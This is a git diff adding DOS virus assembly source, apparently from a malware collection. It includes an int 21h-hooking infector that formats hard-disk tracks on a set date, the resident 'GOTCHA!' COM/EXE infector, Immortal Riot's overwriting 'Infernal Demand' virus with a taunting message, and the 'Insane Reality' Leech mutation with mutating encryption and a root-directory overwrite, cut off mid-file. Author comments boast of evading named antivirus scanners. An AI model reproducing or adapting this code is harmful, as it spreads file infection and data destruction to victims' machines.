ah,4Ah + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + jc loc_4 ; Jump if carry Set + mov ah,48h ; 'H' + dec dx + mov bx,dx + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + jc loc_4 ; Jump if carry Set + dec ax + mov es,ax + mov cx,8 + mov es:data_4e,cx + sub ax,0Fh + mov di,data_3e + mov es,ax + mov si,bp + add si,103h + mov cx,3C3h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + mov ax,2521h +;* mov dx,offset loc_3 ;* + db 0BAh, 8Fh, 02h + push es + pop ds + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,2509h +;* mov dx,offset loc_2 ;* + db 0BAh, 1Ah, 02h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + push cs + pop ds +loc_4:: + cmp cs:data_25[bp],5A4Dh + je loc_5 ; Jump if equal + mov bx,offset data_25 + add bx,bp + mov ax,[bx] + mov word ptr ds:[100h],ax + add bx,2 + mov al,[bx] + mov byte ptr ds:[102h],al + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,offset start + push ax + retn +data_9 dw 0, 0 ; Data table (indexed access) +data_11 dw 0, 0 ; Data table (indexed access) +loc_5:: + mov bx,cs:data_33[bp] + mov dx,cs + sub dx,bx + mov ax,dx + add ax,cs:data_18[bp] + add dx,cs:data_20[bp] + mov bx,cs:data_17[bp] + mov word ptr cs:[216h][bp],bx + mov word ptr cs:[218h][bp],ax + mov ax,cs:data_19[bp] + mov word ptr cs:[20Ch][bp],dx + mov word ptr cs:[212h][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,0 + cli ; Disable interrupts + mov ss,ax + mov sp,0 + sti ; Enable interrupts +;* jmp far ptr loc_1 ;* +sub_1 endp + + db 0EAh, 00h, 00h, 00h, 00h + ;* No entry point to code + push ax + in al,60h ; port 60h, keybd scan or sw1 + cmp al,53h ; 'S' + je loc_7 ; Jump if equal +loc_6:: + pop ax + jmp dword ptr cs:data_11 +loc_7:: + mov ah,2Ah + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + cmp dl,18h + jne loc_6 ; Jump if not equal + mov ch,0 + +locloop_8:: + mov ah,5 + mov dh,0 + mov dl,80h + int 13h ; Disk dl=drive 0 ah=func 05h + ; format track=ch or cylindr=cx + ; al=interleave, dh=head + inc ch + cmp ch,20h ; ' ' + loopnz locloop_8 ; Loop if zf=0, cx>0 + +;* jmp far ptr loc_31 ;* + db 0EAh,0F0h,0FFh,0FFh,0FFh + db 0CFh +loc_9:: + pushf ; Push flags + push cs + call sub_2 + test al,al + jnz loc_ret_12 ; Jump if not zero + push ax + push bx + push es + mov ah,51h + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + ;* undocumented function + mov es,bx + cmp bx,es:data_1e + jne loc_11 ; Jump if not equal + mov bx,dx + mov al,[bx] + push ax + mov ah,2Fh + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + pop ax + inc al + jnz loc_10 ; Jump if not zero + add bx,7 +loc_10:: + mov ax,es:[bx+17h] + and ax,1Fh + xor al,1Dh + jnz loc_11 ; Jump if not zero + and byte ptr es:[bx+17h],0E0h + sub word ptr es:[bx+1Dh],3C3h + sbb es:[bx+1Fh],ax +loc_11:: + pop es + pop bx + pop ax + +loc_ret_12:: + iret ; Interrupt return + ;* No entry point to code + cmp ax,4B00h + je loc_14 ; Jump if equal + cmp ah,11h + je loc_9 ; Jump if equal + cmp ah,12h + je loc_9 ; Jump if equal + cmp ax,7BCDh + jne loc_13 ; Jump if not equal + jmp short loc_14 + db 90h + +; +; SUBROUTINE +; + +sub_2 proc near +loc_13:: + jmp dword ptr cs:data_9 +loc_14:: + and [bx+si],ah + and [bx+si],ah + and [bx+si],ah + push es + push ds + cmp ax,7BCDh + jne loc_15 ; Jump if not equal + push cs + pop ds + mov dx,4B7h + jmp short loc_16 + db 90h +loc_15:: + call sub_5 + jc loc_18 ; Jump if carry Set +loc_16:: + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get attrb cx, filename @ds:dx + jc loc_19 ; Jump if carry Set + test cl,1 + jz loc_17 ; Jump if zero + and cl,0FEh + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_19 ; Jump if carry Set +loc_17:: + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_19 ; Jump if carry Set + mov bx,ax + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + mov al,cl + or cl,1Fh + dec cx + dec cx + xor al,cl + jz loc_19 ; Jump if zero + push cs + pop ds + mov data_21,cx + mov data_22,dx + mov ah,3Fh ; '?' + mov cx,20h + mov dx,offset data_25 + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + jc loc_18 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_18 ; Jump if carry Set + cmp cs:data_25,5A4Dh + je loc_21 ; Jump if equal + mov cx,ax + sub cx,3 + mov cs:data_24,cx + call sub_3 + jc loc_18 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,offset data_23 + mov cx,3 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_18:: + mov cx,cs:data_21 + mov dx,cs:data_22 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_19:: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cmp ax,7BCDh + jne loc_20 ; Jump if not equal + mov bx,ax +loc_20:: + jmp dword ptr cs:data_9 +loc_21:: + mov cx,cs:data_32 + mov cs:data_17,cx + mov cx,cs:data_33 + mov cs:data_18,cx + mov cx,cs:data_31 + mov cs:data_19,cx + mov cx,cs:data_30 + mov cs:data_20,cx + push ax + push dx + call sub_4 + sub dx,cs:data_29 + mov cs:data_33,dx + mov cs:data_32,ax + pop dx + pop ax + add ax,3C3h + adc dx,0 + push ax + push dx + call sub_4 + sub dx,cs:data_29 + add ax,40h + mov cs:data_30,dx + mov cs:data_31,ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl ; Shift w/zeros fill + mov bx,ax + mov cl,9 + shr bx,cl ; Shift w/zeros fill + add dx,bx + and ax,1FFh + jz loc_22 ; Jump if zero + inc dx +loc_22:: + pop cx + pop bx + mov cs:data_26,ax + mov cs:data_27,dx + call sub_3 + jc loc_23 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,data_2e + mov cx,20h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_23:: + jmp loc_18 +sub_2 endp + +data_17 dw 0 ; Data table (indexed access) +data_18 dw 0 ; Data table (indexed access) +data_19 dw 0 ; Data table (indexed access) +data_20 dw 0 ; Data table (indexed access) + +; +; SUBROUTINE +; + +sub_3 proc near + mov ah,40h ; '@' + mov dx,103h + mov cx,3C3h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_24 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_24 ; Jump if carry Set + clc ; Clear carry flag + retn +loc_24:: + stc ; Set carry flag + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + push bx + push cx + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + mov bx,ax + mov cl,4 + shr bx,cl ; Shift w/zeros fill + add dx,bx + and ax,0Fh + pop cx + pop bx + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + push si + push cx + mov si,dx + mov cx,128h + +locloop_25:: + cmp byte ptr [si],2Eh ; '.' + je loc_26 ; Jump if equal + inc si + loop locloop_25 ; Loop if cx > 0 + +loc_26:: + cmp word ptr [si-2],544Fh + jne loc_27 ; Jump if not equal + cmp word ptr [si-4],5250h + je loc_30 ; Jump if equal +loc_27:: + cmp word ptr [si-2],4E41h + jne loc_28 ; Jump if not equal + cmp word ptr [si-4],4353h + je loc_30 ; Jump if equal +loc_28:: + cmp word ptr [si-2],2041h + jne loc_29 ; Jump if not equal + cmp word ptr [si-4],454Ch + je loc_30 ; Jump if equal +loc_29:: + pop cx + pop si + clc ; Clear carry flag + retn +loc_30:: + pop cx + pop si + stc ; Set carry flag + retn +sub_5 endp + +data_21 dw 0 +data_22 dw 0 +data_23 db 0E9h +data_24 dw 9090h +data_25 dw 0CD90h ; Data table (indexed access) +data_26 dw 20h +data_27 dw 0 + db 0, 0 +data_29 dw 0 + db 0, 0, 0, 0 +data_30 dw 0 +data_31 dw 0 + db 0, 0 +data_32 dw 0 +data_33 dw 0 ; Data table (indexed access) + db 15 dup (0) +copyright db '(c) 1992 by Igor Ratzkopf - All ' + db 'Rights Reserved July R' + +seg_a ends + + + + end start diff --git a/i/INDIT.ASM b/i/INDIT.ASM new file mode 100755 index 0000000..72a9e7f --- /dev/null +++ b/i/INDIT.ASM @@ -0,0 +1,92 @@ +start segment + assume cs:start,ds:start +boot equ 1000h + push ax + push bx + push cx + push dx + push es + push ds + push di + push si + call cim +cim: pop bx + mov si,5aa5h + mov di,55aah + push cs + pop es +ujra: add bx,1000 + cmp bx,1000 + jnc kilep1 + jmp kilep +kilep1: push bx + mov ax,201h + mov dx,0 + mov cx,1 + int 13h + pop bx + jnc tovabb + cmp ah,6 + jz kilep1 + jmp kilep +tovabb: cmp si,0a55ah + jz kilep + mov ax,cs + add ax,1000h + push bx + push ax + int 12h + mov bx,64 + mul bx + sub ax,1000h + mov bx,ax + pop ax + cmp bx,ax + jnc oke1 + pop bx + jmp kilep +oke1: pop bx +oke: mov es,ax + mov ax,cs:[bx+18h] + mov cx,cs:[bx+1ah] + mul cx + mov cx,ax + mov ax,cs:[bx+13h] + mov dx,0 + div cx + sub bx,1000 + push bx + mov ch,al + mov cl,1 + mov bx,100h + mov dx,0 + mov ax,208h + int 13h + pop bx + jc kilep + push bx + mov bx,100h + mov ax,es:[bx] + cmp ax,2452h + pop bx + jnz kilep + mov ax,bx + add ax,offset kilep-offset cim + push cs + push ax + mov ax,10ah + push es + push ax + retf +kilep: pop si + pop di + pop ds + pop es + pop dx + pop cx + pop bx + pop ax + ret +cime: dw 0 +start ends + end \ No newline at end of file diff --git a/i/INF9.ASM b/i/INF9.ASM new file mode 100755 index 0000000..c2fbca9 --- /dev/null +++ b/i/INF9.ASM @@ -0,0 +1,571 @@ +;**************************************************************************** +;* GOTCHA! Version 9e +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +SIGNLEN equ signend - signature +FILELEN equ end - begin +RESPAR equ (FILELEN/16) + 17 +VERSION equ 9 +BUFLEN equ 20h +COMSIGN equ 0 +EXESIGN equ 1 +MINTARGET equ 1000 +MAXTARGET equ -FILELEN + + .RADIX 16 + + +;**************************************************************************** +;* Start the program! +;**************************************************************************** + +begin: xor bx,bx + call install + int 20 + + +;**************************************************************************** +;* Data +;**************************************************************************** + +buffer db BUFLEN dup (?) +oi21 dw ?,? +oldlen dw ?,? +nameptr dw ?,? +handle dw ? +comexe db ? + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE' +COM_txt db 'COM' + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,0DADAh ;install-check ? + je do_DADA + + push dx + push cx + push bx + push ax + push si + push di + push ds + push es + + cmp ax,6C00h ;open/create 4.00 ? + je do_6C00 + cmp ah,56h ;rename ? + je doit + cmp ah,4Eh ;findfirst ? + je doit ;(only works without wildcards) + cmp ah,4Bh ;load / execute ? + je doit + cmp ah,43h ;attributes + je doit + cmp ah,41h ;delete ? + je doit ;(it might be un-deleted!) + cmp ah,3Dh ;open ? + je do_3D + + cmp ah,17h ;FCB-rename? + je doFCB + cmp ah,13h ;FCB-delete? + jne exit + +doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's! + +doit: call infect + +exit: pop es + pop ds + pop di + pop si + pop ax + pop bx + pop cx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +do_3D: test al,03h ;only if opened for READING + jne exit + jmp short doit + +do_6C00: test bl,03h ;idem + jne exit + mov dx,di ;ptr was DS:DI + jmp short doit + +do_DADA: mov ax,0A500h+VERSION ;return a signature + popf + iret + + +;**************************************************************************** +;* Old Interupt handler 21 +;**************************************************************************** + +org21: pushf + call dword ptr cs:[oi21] ;call to old int-handler + ret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov cs:[nameptr],dx ;save the ptr to the filename + mov cs:[nameptr+2],ds + + mov ah,62h ;get segment-adres of PSP + int 21 + mov ds,bx ;get seg-adres of environment + mov ax,ds:002Ch + mov ds,ax + mov si,0 + +envloop: cmp ds:[si],byte ptr 0 ;end of environment? + je verder7 + + push cs + pop es + mov di,offset envstring + mov bx,0 + +scloop: mov al,ds:[si] ;check the current env-item + cmpsb + je scv1 + inc bx ;characters don't match! +scv1: cmp al,0 ;end of env-item? + jne scloop + + cmp bx,0 ;did all characters match? + je return + jmp short envloop + +verder7: push cs ;check the filename + pop ds + les di,dword ptr [nameptr] + mov dx,di + mov cx,80 ;search end of filename (-EXT) + mov al,'.' + repnz scasb + mov bx,di + + std ;find begin of filename + mov cl,11 + mov al,'\' + repnz scasb + cld + je vvv + mov di,dx + jmp short vvv2 +vvv: add di,2 +vvv2: mov al,'V' ;is it V*.* ? + scasb + je return + + mov cl,7 ;is it *AN*.* ? + mov ax,'NA' +ANloop: dec di + scasw + loopnz ANloop + je return + + mov si,offset EXE_txt ;is extension 'EXE'? + mov di,bx + mov cx,3 + rep cmpsb + jnz verder4 + + mov byte ptr [comexe],EXESIGN + jmp short verder3 + +return: ret + +verder4: mov si,offset COM_txt ;is extension 'COM'? + mov di,bx + mov cx,3 + rep cmpsb + jnz return + + mov byte ptr [comexe],COMSIGN + +verder3: mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ax,2524h + int 21 + + lds dx,dword ptr [nameptr] ;get file-attribute + mov ax,4300h + call org21 + push cx + + and cx,0F8h ;clear READ-ONLY-flag + call setattr + jc return1_v + + push cs ;open the file + pop ds + lds dx,dword ptr [nameptr] + mov ax,3D02h + int 21 + jnc verder2 +return1_v: jmp return1 ;something went wrong... :-( + +verder2: push cs ;save handle + pop ds + mov [handle],ax + + mov bx,[handle] ;get file date & time + mov ax,5700h + int 21 + push cx + push dx + + call endptr ;get file-length + mov [oldlen],ax + mov [oldlen+2],dx + + sub ax,SIGNLEN ;move ptr to end - SIGNLEN + sbb dx,0 + mov cx,dx + mov dx,ax + mov al,00h + call ptrmov + + mov cx,SIGNLEN ;read the last bytes + mov dx,offset buffer + call flread + jc return2_v + + push cs ;compare bytes with signature + pop es + mov di,offset buffer + mov si,offset signature + mov cx,SIGNLEN + rep cmpsb + jz return2_v + + call beginptr ;read begin of file + mov cx,BUFLEN + mov dx,offset buffer + call flread + + cmp byte ptr [comexe],EXESIGN + jz do_exe + +do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file + jnb return2 + cmp word ptr [oldlen],MINTARGET + jbe return2 + + call writeprog ;write program to end of file + jc return2 + + mov ax,[oldlen] ;calculate new start-adres + add ax,(offset entry - 0103h) + mov byte ptr [buffer],0E9h ;'JMP' + mov word ptr [buffer+1],ax + + jmp short verder1 + +return2_v: jmp short return2 + + +do_exe: call writeprog ;write program to end of file + jc return2 + + mov ax,[oldlen] ;calculate new length + mov dx,[oldlen+2] + add ax,FILELEN + adc dx,0 + + mov cl,9 ;put new length in header + shr ax,cl + mov cl,7 + shl dx,cl + or ax,dx + inc ax + mov word ptr [buffer+4],ax + mov ax,[oldlen] + add ax,FILELEN + and ax,01FFh + mov word ptr [buffer+2],ax + + mov ax,[oldlen] ;calculate new CS & IP + mov dx,[oldlen+2] + mov bx,word ptr [buffer+8] + push ax + mov cl,4 + shr ax,cl + mov cl,0Ch + shl dx,cl + add ax,dx + sub ax,bx + mov word ptr [buffer+16h],ax ;put CS in header + pop ax + and ax,000Fh + add ax,(offset entry - 0100h) + mov word ptr [buffer+14h],ax ;put IP in header + +verder1: call beginptr ;write new begin of file + mov cx,BUFLEN + mov dx,offset buffer + call flwrite + +return2: mov bx,[handle] ;restore file date & time + pop dx + pop cx + mov ax,5701h + int 21 + + mov bx,[handle] ;close the file + mov ah,3Eh + int 21 + +return1: pop cx ;restore file-attribute + call setattr + + pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + ret + + +;**************************************************************************** +;* Gets ASCIIZ-filename from FCB +;**************************************************************************** + +FCBtoASC: mov si,dx + lodsb + inc al ;extended FCB? + jne normal_FCB + add si,7 +normal_FCB: push cs + pop es + xor di,di ;adres for ASCIIZ-name + mov dx,di + mov cx,8 +FCB_loop: lodsb ;copy all except spaces + cmp al,' ' + je FCB_verder + stosb +FCB_verder: loop FCB_loop + mov al,'.' ;append a '.' + stosb + mov cl,3 ;and the extension + rep movsb + xchg ax,cx ;and a final zero. + stosb + push es + pop ds + ret + + +;**************************************************************************** +;* Changes file-attributes +;**************************************************************************** + +setattr: lds dx,dword ptr cs:[nameptr] + mov ax,4301h + call org21 + ret + + +;**************************************************************************** +;* Writes program to end of file +;**************************************************************************** + +writeprog: call endptr + mov cx,FILELEN + mov dx,offset begin +; call flwrite ;Hmm, save a few bytes! +; ret + + +;**************************************************************************** +;* Subroutines for reading/writing +;**************************************************************************** + +flwrite: mov ah,40h + jmp short flvrdr + +flread: mov ah,3Fh +flvrdr: push cs + pop ds + mov bx,cs:[handle] + int 21 + ret + + +;**************************************************************************** +;* Subroutines for file-pointer +;**************************************************************************** + +beginptr: mov al,00h ;go to begin of file + jmp short ptrvrdr + +endptr: mov al,02h ;go to end of file +ptrvrdr: xor cx,cx + xor dx,dx + +ptrmov: mov bx,cs:[handle] ;go somewhere + mov ah,42h + int 21 + ret + + +;**************************************************************************** +;* This is where infected files start +;**************************************************************************** + +entry: call entry2 +entry2: pop bx + sub bx,offset entry2 ;CS:BX is begin program - 100h + + pushf + cld + + cmp byte ptr cs:[bx+offset comexe],COMSIGN + jz entryC + +entryE: mov ax,ds ;put old start-adres on stack + add ax,10 + add ax,cs:[bx+offset buffer+016h] + push ax + push cs:[bx+offset buffer+014h] + + jmp short entcheck + +entryC: mov ax,bx ;restore old file-begin + add ax,offset buffer + mov si,ax + mov di,0100 + mov cx,BUFLEN + rep movsb + + push cs ;put old start-adres on stack + mov ax,0100h + push ax + +entcheck: mov ax,0DADAh ;already installed? + int 21h + cmp ah,0A5h + je entstop + + call install ;install the program + +entstop: iret + + +;**************************************************************************** +;* Install the program at top of memory +;**************************************************************************** + +install: push ds + push es + + xor ax,ax ;get original int21 vector + mov es,ax + mov cx,word ptr es:0084h + mov dx,word ptr es:0086h + mov cs:[bx+offset oi21],cx + mov cs:[bx+offset oi21+2],dx + + mov ax,ds ;adjust memory-size + dec ax + mov es,ax + cmp byte ptr es:[0000h],5Ah + jnz cancel + mov ax,es:[0003h] + sub ax,RESPAR + jb cancel + mov es:[0003h],ax + sub es:[0012h], word ptr RESPAR + + push cs ;copy program to top + pop ds + mov es,es:[0012h] + mov ax,bx + add ax,0100 + mov si,ax + mov di,0100h + mov cx,FILELEN + rep movsb + + mov dx,offset ni21 ;set vector to new handler + push es + pop ds + mov ax,2521h + int 21h + +cancel: pop es + pop ds + + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + +envstring: db 'E=mc',0 ;put this in your environment! + +signature: db 'GOTCHA!',0 ;I have got you! :-) +signend: + + + +end: + +cseg ends + end begin + \ No newline at end of file diff --git a/i/INFERDEM.ASM b/i/INFERDEM.ASM new file mode 100755 index 0000000..879780c --- /dev/null +++ b/i/INFERDEM.ASM @@ -0,0 +1,164 @@ +; VirusName: Infernal Demand +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 10/08/1993 +; +; +; This is our (Metal Militia's) very first scratch virus. It's just +; an overwriting one. It overwrites the first 999 bytes in exe/com +; files. (Write protected/hidden files are also "infected"). This (999) +; isn't really the virus size, but the virus, is set to overwrite the +; first 999 bytes. If the programs are less then 999 bytes, the virus +; will overwrite it anyhow. +; +; When you starts this, the virus will make a file under your c:\ +; which is called "Infernal.ir". The file includes a rather nice +; "poem" written by the person sitting behind the keys here.. +; +; The "infected" files attributes (time/day), will be saved +; and restored, the file-size will not be hidden, but anyway.. +; +; It doesn't contain any encryption nor nuking routine, but +; who cares about that for an overwriting virus? +; +; F-prot finds this is some trivial-shit, but it ain't! +; Mcafee scan v108 and S&S Toolkit's FindViru can't find this +; +; ----------- +; INFERNAL DEMAND +; ----------- +cseg segment byte public + assume cs:cseg, ds:cseg + + org 100h + + INFERNAL proc far + +start: + mov ah,19h ; get current drive + int 21h ; + push ax ; + + mov ah,0Eh ; + mov dl,02h ; drive C: + int 21h + +great: + mov dx,offset ExeMask ; offset 'EXEMASK' + mov ah,4Eh ; find first + int 21h ; + + jnc go_for_it ; jmp if no ERROR + + + mov dx,offset ComMask ; offset 'COMMASK' + mov ah,4Eh ; find first + ; +again: ; + int 21h ; + + jc chdir ; If ERROR change directory + + +go_for_it: + mov ax,4300h ; Get attribute of file + mov dx,9eh ; Pointer to name in DTA + int 21h ; + + push cx ; Push the attrib to stack + + mov ax,4301h ; Set attribute to + xor cx,cx ; normal + int 21h ; + + mov ax,3D02h ; Open file + mov dx,9eh ; Pointer to name in DTA + int 21h + + jc next ; if error, get next file + + xchg ax,bx ; Swap AX & BX + ; so the filehandle ends up + ; in BX + + mov ax,5700h ; Get file date + int 21h ; + + + push cx ; Save file dates + push dx ; + + mov dx,100h ; Write code from 100h + mov ah,40h ; to target file. + mov cx,789 ; Write XXX bytes + int 21h ; + + + pop dx ; Get the saved + pop cx ; filedates from the stack + + mov ax,5701h ; Set them back to the file + int 21h ; + + mov ah,3Eh ; Close the file + int 21h ; + + pop cx ; Restore the attribs from + ; the stack. + + mov dx,9eh ; Pointer to name in DTA + mov ax,4301h ; Set them attributes back + int 21h ; + +next: + mov ah,4Fh ; now get the next file + jmp short again ; and do it all over again + +chdir: + mov ah,3ch + mov cx,0 + mov dx,offset makeit + int 21h + + xchg ax,bx + mov ah,40h + mov cx,meslen + mov dx,offset note + int 21h + + mov ah,3eh + int 21h + + mov dx,offset updir ; offset 'updir' + mov ah,3bh ; change directory + int 21h + + jnc great ; jmp to great if no ERROR + +exit: + pop dx ; + mov ah,0Eh ; restore org. drive + int 21h ; + + retn ; return to PROMPT + + +ExeMask db '*.EXE',0 +ComMask db '*.COM',0 +Makeit db 'c:\infernal.ir',0 +UpDir db '..',0 +Note db 'Infernal Demand! ' + db '(c) Metal Militia / Immortal Riot ' +Dumpnote db ' ',0dh,0ah + db 'Your misery is our pleasure! ',0dh,0ah + db 'Your nightmare is our dream! ',0dh,0ah + db 'Your hell is our paradise! ',0dh,0ah + db 'Your lost is our demand! ',0dh,0ah + db 'Your cry is our laugh! ',0dh,0ah + db 'And your fate is ours!',0dh,0ah +Meslen equ $-note + + INFERNAL endp + +cseg ends + end start \ No newline at end of file diff --git a/i/INSANERY.ASM b/i/INSANERY.ASM new file mode 100755 index 0000000..5cda495 --- /dev/null +++ b/i/INSANERY.ASM @@ -0,0 +1,601 @@ +; VirusName : Insane Reality +; Country : Sweden +; Author : The Unforiven / Immortal Riot +; Date : 22/09/1993 +; +; +; This is a mutation of the Leech virus, and well, +; havn't really changed much in this code, just +; fooled Mcafee's Scan and Dr Alans Toolkit.. +; +; Okey, this might not be the very best mutation born, +; but think in this way, if this mutation is so bad +; then aren't the anti-virus products even worse ? +; +; The original virus was pretty "OK", it is a non-over- +; writing resident .COM. It will infect the program +; after you have started it. It will not infect renamed +; exe files. (..It looks at the victim's fileheader..) +; +; When the virus is in memory a infected files attributes +; (..size/date/time..) will not be discovored. If you boot +; your computer, and throw the virus out from memory, +; you'll see that the file has been changed. If an +; infected file is being run again, the virus will +; replace the infected file with its old file-attributes. +; +; This virus was originally written in Bulgaria.. +; (..where else..) and I would like to thank the +; scratch coder of this little babe very much... +; +; Really hope this file will annoy some folks around, +; cuz it certainly annoyed me!..... +; +; Mcafee's Scan v108 can't find this, and neither can +; S&S Toolkit 6.54. Havn't tried with Tbscan/F-prot, +; but they will probably identify this as the leech virus. +; +; Beware of the Insane Reality we're living in! +; Signed The Unforgiven / Immortal Riot + + .model tiny + .code + org 0 + +; -------------- +; Disassembly by Dark Angel of Phalcon/Skism +; Assemble with Tasm /m Insane.asm, then link +; and use exe2bin for make this into a .com.. +; ------------ + +virlength = (readbuffer - leech) +reslength = (((encrypted_file - leech + 15) / 16) + 2) + +leech: + jmp short enter_leech + +filesize dw offset carrier +oldint21 dw 0, 0 +oldint13 dw 0, 0 +oldint24 dw 0, 0 +datestore dw 0 +timestore dw 0 +runningflag db 1 +evenodd dw 0 + +enter_leech: + call next +next: + pop si + db 0 ; Scan-fooler.. + +mutatearea1: + cli ; prevent all interupts + push ds ; Why? + pop es + mov bp,sp ; save sp + mov sp,si ; sp = offset next + add sp,encrypt_value1 - 1 - next +mutatearea2: + mov cx,ss ; save ss + mov ax,cs + mov ss,ax ; ss = PSP + pop bx ; get encryption value + dec sp + dec sp + add si,startencrypt - next + nop +decrypt: +mutatearea3: + pop ax + xor al,bh ; decrypt away! + push ax + dec sp + cmp sp,si + jae decrypt +startencrypt: + mov ax,es + dec ax + mov ds,ax ; ds->MCB + db 81h,6,3,0 ;add word ptr ds:[3],-reslength + dw 0 - reslength + mov bx,ds:[3] ; bx = memory size + mov byte ptr ds:[0],'Z' ; mark end of chain + inc ax ; ax->PSP + inc bx + add bx,ax ; bx->high area + mov es,bx ; as does es + mov ss,cx ; restore ss + add si,leech - startencrypt + mov bx,ds ; save MCB segment + mov ds,ax + mov sp,bp ; restore sp + push si + xor di,di + mov cx,virlength ; 1024 bytes + cld + rep movsb + pop si + push bx + mov bx,offset highentry + push es + push bx + retf ; jmp to highentry in + ; high memory +highentry: + mov es,ax ; es->PSP + mov ax,cs:filesize + add ax,100h ; find stored area + mov di,si + mov si,ax + mov cx,virlength + rep movsb ; and restore over virus code + pop es ; MCB + xor ax,ax + mov ds,ax ; ds -> interrupt table + sti + cmp word ptr ds:21h*4,offset int21 ; already resident? + jne go_resident + db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength + dw 0 - reslength ;alter memory size + test byte ptr ds:[46Ch],0E7h ;1.17% chance of activation + jnz exit_virus + push cs + pop ds + mov si,offset message ; "Insane Reality.." +display_loop: ; display ASCIIZ string + lodsb ; get next character + or al,0 ; exit if 0 + jz exit_display_loop + mov ah,0Eh ; otherwise write character + int 10h + + jmp short display_loop +exit_display_loop: + mov ah,32h ; Get DPB -> DS:BX + xor dl,dl + int 21h + jc exit_virus ; exit on error + + call getint13and24 + call setint13and24 + mov dx,[bx+10h] ; first sector of root + ; directory + ; BUG: won't work in DOS 4+ + mov ah,19h ; default drive -> al + int 21h + + mov cx,2 ; Overwrite root directory + int 26h ; Direct write.. + + pop bx + call setint13and24 ; restore int handlers +exit_virus: + jmp returnCOM +go_resident: + db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength + dw 0 - reslength ;alter top of memory in PSP + mov bx,ds:46Ch ;BX = random # + push ds + push cs + pop ds + push cs + pop es + mov runningflag,1 ; reset flag + and bh,80h + mov nothing1,bh +mutate1: + test bl,1 + jnz mutate2 + mov si,offset mutatearea1 + add si,evenodd + lodsb + xchg al,[si] ; swap instructions + mov [si-1],al +mutate2: + test bl,2 + jnz mutate3 + mov si,offset mutatearea2 + add si,evenodd + lodsw + xchg ax,[si] ; swap instructions + mov [si-2],ax +mutate3: + test bl,4 + jnz mutate4 + mov si,offset mutatearea3 + mov al,2 + xor [si],al ; flip between ax & dx + xor [si+2],al + xor [si+3],al +mutate4: + test bl,8 + jnz findint21 + mov si,offset next + mov di,offset readbuffer + mov cx,offset enter_leech + push si + push di + lodsb + cmp al,5Eh ; 1 byte pop si? + je now_single_byte_encode + inc si ; skip second byte of two + ; byte encoding of pop si +now_single_byte_encode: + push cx + rep movsb + pop cx + pop si + pop di + cmp al,5Eh ; 1 byte pop si? + je encode_two_bytes ; then change to 2 + mov al,5Eh ; encode a pop si + stosb + rep movsb ; then copy decrypt over + mov al,90h ; plus a nop to keep virus + stosb ; length constant + xor ax,ax ; clear the flag + jmp short set_evenodd_flag +encode_two_bytes: + mov ax,0C68Fh ; encode a two byte form of + stosw ; pop si + rep movsb + mov ax,1 ; set evenodd flag +set_evenodd_flag: + mov cs:evenodd,ax +findint21: + mov ah,30h ; Get DOS version + int 21h + + cmp ax,1E03h ; DOS 